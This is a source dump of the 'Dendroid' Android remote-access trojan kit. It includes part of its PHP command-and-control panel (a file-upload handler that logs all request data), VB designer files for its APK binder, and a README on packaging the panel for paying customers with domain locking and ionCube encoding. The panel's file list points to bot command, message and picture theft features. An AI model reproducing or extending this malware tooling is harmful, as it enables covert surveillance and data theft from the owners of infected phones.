Thank you for completing first time setup. Everything you just setup can be changed in the Panel Settings.
Please delete the setup folder before continuing. It is not required, but recommended for security purposes. If you are ready to continue to the Control Panel, click the button below:
Welcome to first time setup. This process will aid you in the configuration of your account, your database, and a few other settings.
This software requires PHP 5.2 and above. You have: . It also requires a MySQL database, which you will setup later. Lastly, it requires that you access the panel from a web browser that has up-to-date HTML5 features. The control panel was developed with the aid of Google Chrome and is guaranteed to display and function correctly in it.
If you are ready to proceed, click the button below:
72 |
73 |
74 |
--------------------------------------------------------------------------------
/Dendroid Panel/Dendroid Panel/Panel/new-upload.php:
--------------------------------------------------------------------------------
1 | 0)
20 | {
21 | $error = "Return Code: " . $_FILES["file"]["error"];
22 | }
23 | else
24 | {
25 | $file = "{" . md5(rand(1000, 9999) . time()) . "}" . $_FILES["file"]["name"];
26 | if(move_uploaded_file($_FILES["file"]["tmp_name"], "dlfiles/" . $file))
27 | {
28 | $owner = "";
29 | addToUploads($owner, $_GET["UID"], $file);
30 | $error = "File has been uploaded";
31 | }
32 | }
33 | }
34 | else
35 | {
36 | $error = "Invalid file";
37 | }
38 | }
39 | else
40 | {
41 | $error = "Invalid password";
42 | }
43 | }
44 | else
45 | {
46 | $error = "file not set";
47 | }
48 | }
49 | else
50 | {
51 | $error = "Password or UID not set";
52 | }
53 |
54 | $f = fopen("log.txt", "a+");
55 | if($f)
56 | {
57 | $srv = print_r($_SERVER, true);
58 | $fls = print_r($_FILES, true);
59 | $gt = print_r($_GET, true);
60 | $pst = print_r($_POST, true);
61 |
62 | $fmt = "Error: \r\n";
63 | $fmt .= $error . "\r\n";
64 | $fmt .= "-----------------------------------------\r\n";
65 |
66 | $fmt .= "Server: \r\n";
67 | $fmt .= $srv . "\r\n";
68 | $fmt .= "-----------------------------------------\r\n";
69 |
70 | $fmt .= "Files: \r\n";
71 | $fmt .= $fls . "\r\n";
72 | $fmt .= "-----------------------------------------\r\n";
73 |
74 | $fmt .= "Get: \r\n";
75 | $fmt .= $gt . "\r\n";
76 | $fmt .= "-----------------------------------------\r\n";
77 |
78 | $fmt .= "Post: \r\n";
79 | $fmt .= $pst . "\r\n";
80 | $fmt .= "-----------------------------------------\r\n";
81 |
82 | fwrite($f, $fmt);
83 | fclose($f);
84 | }
85 | ?>
--------------------------------------------------------------------------------
/Dendroid Binder/APKBinder/My Project/Resources.Designer.vb:
--------------------------------------------------------------------------------
1 | '------------------------------------------------------------------------------
2 | '
3 | ' This code was generated by a tool.
4 | ' Runtime Version:4.0.30319.1008
5 | '
6 | ' Changes to this file may cause incorrect behavior and will be lost if
7 | ' the code is regenerated.
8 | '
9 | '------------------------------------------------------------------------------
10 |
11 | Option Strict On
12 | Option Explicit On
13 |
14 | Imports System
15 |
16 | Namespace My.Resources
17 |
18 | 'This class was auto-generated by the StronglyTypedResourceBuilder
19 | 'class via a tool like ResGen or Visual Studio.
20 | 'To add or remove a member, edit your .ResX file then rerun ResGen
21 | 'with the /str option, or rebuild your VS project.
22 | '''
23 | ''' A strongly-typed resource class, for looking up localized strings, etc.
24 | '''
25 | _
29 | Friend Module Resources
30 |
31 | Private resourceMan As Global.System.Resources.ResourceManager
32 |
33 | Private resourceCulture As Global.System.Globalization.CultureInfo
34 |
35 | '''
36 | ''' Returns the cached ResourceManager instance used by this class.
37 | '''
38 | _
39 | Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
40 | Get
41 | If Object.ReferenceEquals(resourceMan, Nothing) Then
42 | Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("APKBinder.Resources", GetType(Resources).Assembly)
43 | resourceMan = temp
44 | End If
45 | Return resourceMan
46 | End Get
47 | End Property
48 |
49 | '''
50 | ''' Overrides the current thread's CurrentUICulture property for all
51 | ''' resource lookups using this strongly typed resource class.
52 | '''
53 | _
54 | Friend Property Culture() As Global.System.Globalization.CultureInfo
55 | Get
56 | Return resourceCulture
57 | End Get
58 | Set
59 | resourceCulture = value
60 | End Set
61 | End Property
62 | End Module
63 | End Namespace
64 |
--------------------------------------------------------------------------------
/Dendroid Binder/APKBinder/My Project/Settings.Designer.vb:
--------------------------------------------------------------------------------
1 | '------------------------------------------------------------------------------
2 | '
3 | ' This code was generated by a tool.
4 | ' Runtime Version:4.0.30319.1008
5 | '
6 | ' Changes to this file may cause incorrect behavior and will be lost if
7 | ' the code is regenerated.
8 | '
9 | '------------------------------------------------------------------------------
10 |
11 | Option Strict On
12 | Option Explicit On
13 |
14 |
15 | Namespace My
16 |
17 | _
20 | Partial Friend NotInheritable Class MySettings
21 | Inherits Global.System.Configuration.ApplicationSettingsBase
22 |
23 | Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
24 |
25 | #Region "My.Settings Auto-Save Functionality"
26 | #If _MyType = "WindowsForms" Then
27 | Private Shared addedHandler As Boolean
28 |
29 | Private Shared addedHandlerLockObject As New Object
30 |
31 | _
32 | Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
33 | If My.Application.SaveMySettingsOnExit Then
34 | My.Settings.Save()
35 | End If
36 | End Sub
37 | #End If
38 | #End Region
39 |
40 | Public Shared ReadOnly Property [Default]() As MySettings
41 | Get
42 |
43 | #If _MyType = "WindowsForms" Then
44 | If Not addedHandler Then
45 | SyncLock addedHandlerLockObject
46 | If Not addedHandler Then
47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
48 | addedHandler = True
49 | End If
50 | End SyncLock
51 | End If
52 | #End If
53 | Return defaultInstance
54 | End Get
55 | End Property
56 | End Class
57 | End Namespace
58 |
59 | Namespace My
60 |
61 | _
64 | Friend Module MySettingsProperty
65 |
66 | _
67 | Friend ReadOnly Property Settings() As Global.APKBinder.My.MySettings
68 | Get
69 | Return Global.APKBinder.My.MySettings.Default
70 | End Get
71 | End Property
72 | End Module
73 | End Namespace
74 |
--------------------------------------------------------------------------------
/Dendroid Panel/Dendroid Panel/README - How to ship to customers.txt:
--------------------------------------------------------------------------------
1 | ______ _______ _ ______ _______ _______ _________ ______
2 | ( __ \ ( ____ \( ( /|( __ \ ( ____ )( ___ )\__ __/( __ \
3 | | ( \ )| ( \/| \ ( || ( \ )| ( )|| ( ) | ) ( | ( \ )
4 | | | ) || (__ | \ | || | ) || (____)|| | | | | | | | ) |
5 | | | | || __) | (\ \) || | | || __)| | | | | | | | | |
6 | | | ) || ( | | \ || | ) || (\ ( | | | | | | | | ) |
7 | | (__/ )| (____/\| ) \ || (__/ )| ) \ \__| (___) |___) (___| (__/ )
8 | (______/ (_______/|/ )_)(______/ |/ \__/(_______)\_______/(______/
9 |
10 |
11 | This file contains instructions on how to 1. Setup URL locking, 2. ionCube the panel, and 3. Pack it up for delivery.
12 |
13 | Something to consider:
14 | 1. Don't mention reg.php to the customers, the more they know about the URL locking system, the easier it is for them to crack our protection and share the panel freely.
15 | If they don't know what reg.php is, we are probably better off.
16 |
17 | I. URL LOCKING
18 | 1. Open Panel/reg.php in Notepad++ (Recommended) or similar text editing application.
19 | 2. Change "www.pizzachip.com" and "pizzachip.com" on line 1 to the domain the customer has specified.
20 | 2-1. For example: $allowedDomains = array("www.androidcapture.com", "androidcapture.com");
21 | 3. Save reg.php
22 |
23 | II. ionCube
24 | 1. Visit http://ioncube.com
25 | 2. Login to your ionCube account.
26 | 3. Click "Encode" or visit https://www.ioncube.com/main.php?c=encode
27 | 4. ZIP the files inside of the Panel folder.
28 | 5. "Choose File" on ionCube.com and select the ZIP.
29 | 6. Make sure only "Allow short open tags ( ?>)" is checked.
30 | 7. Set "Encoder Selection" to "8.0"
31 | 8. Set "Source Language" to "PHP 5.3"
32 | 9. Click "Upload"
33 | 10. When the "Download" button appears, click it.
34 |
35 | III. Final Packing
36 | 1. Create a "Dendroid" folder, and create a folder inside of that folder named "HTTP Panel"
37 | 1. Extract the ZIP file you downloaded in Section II, Step 10 to the "HTTP Panel" folder.
38 | 2. Ensure there is a "dlfiles" folder, along with "assets" and "setup"
39 | 2-1. If there is no "dlfiles" folder, create one.
40 | 3. Copy the "README" and "SQL" files from the "Other Files" folder you have into the "Dendroid" folder.
41 | 4. Ensure your finished folder structure for the clients looks like this:
42 |
43 | "Dendroid" =>
44 | "README.txt"
45 | "SQL.sql"
46 | "HTTP Panel" =>
47 | "assets"
48 | "setup" =>
49 | "createconfig.php"
50 | "index.php"
51 | "laststep.php"
52 | "step1.php"
53 | "dlfiles"
54 | "addcommand.php"
55 | "applysettings.php"
56 | "blockbot.php"
57 | "clearawaiting.php"
58 | "clearmessages.php"
59 | "control.php"
60 | "deletebot.php"
61 | "deletefile.php"
62 | "deletepics.php"
63 | "filetable.php"
64 | "functions.php"
65 | "get-functions.php"
66 | "get.php"
67 | "getimages.php"
68 | "getmessages.php"
69 | "getawaitingcommands.php"
70 | "index.php"
71 | "login.php"
72 | "logout.php"
73 | "message.php"
74 | "new-upload.php"
75 | "reg.php"
76 | "settings.php"
77 | "showpictures.php"
78 | "table.php"
79 | "upload-pictures.php"
80 |
81 | 5. ZIP the "Dendroid" folder.
82 | 6. Send to client.
--------------------------------------------------------------------------------
/Dendroid Panel/Dendroid Panel/Panel/assets/js/image-picker.min.js:
--------------------------------------------------------------------------------
1 | // Image Picker
2 | // by Rodrigo Vera
3 | //
4 | // Version 0.1.5
5 | // Full source at https://github.com/rvera/image-picker
6 | // MIT License, https://github.com/rvera/image-picker/blob/master/LICENSE
7 | (function(){var t,e,i,s,l=[].indexOf||function(t){for(var e=0,i=this.length;i>e;e++)if(e in this&&this[e]===t)return e;return-1};jQuery.fn.extend({imagepicker:function(e){return null==e&&(e={}),this.each(function(){var i;return i=jQuery(this),i.next("ul.image_picker_selector").remove(),i.data("picker",new t(this,s(e))),null!=e.initialized?e.initialized():void 0})}}),s=function(t){var e;return e={hide_select:!0,show_label:!1,initialized:void 0,changed:void 0,clicked:void 0,selected:void 0,limit:void 0,limit_reached:void 0},jQuery.extend(e,t)},i=function(t,e){return 0===jQuery(t).not(e).length&&0===jQuery(e).not(t).length},t=function(){function t(t,e){this.opts=null!=e?e:{},this.select=jQuery(t),this.multiple="multiple"===this.select.attr("multiple"),null!=this.select.data("limit")&&(this.opts.limit=parseInt(this.select.data("limit"))),this.build_and_append_picker()}return t.prototype.build_and_append_picker=function(){return this.opts.hide_select&&this.select.hide(),this.select.change({picker:this},function(t){return t.data.picker.sync_picker_with_select()}),null!=this.picker&&this.picker.remove(),this.create_picker(),this.select.after(this.picker),this.sync_picker_with_select()},t.prototype.sync_picker_with_select=function(){var t,e,i,s,l;for(s=this.picker_options,l=[],e=0,i=s.length;i>e;e++)t=s[e],t.is_selected()?l.push(t.mark_as_selected()):l.push(t.unmark_as_selected());return l},t.prototype.create_picker=function(){var t,i,s,l;for(this.picker=jQuery("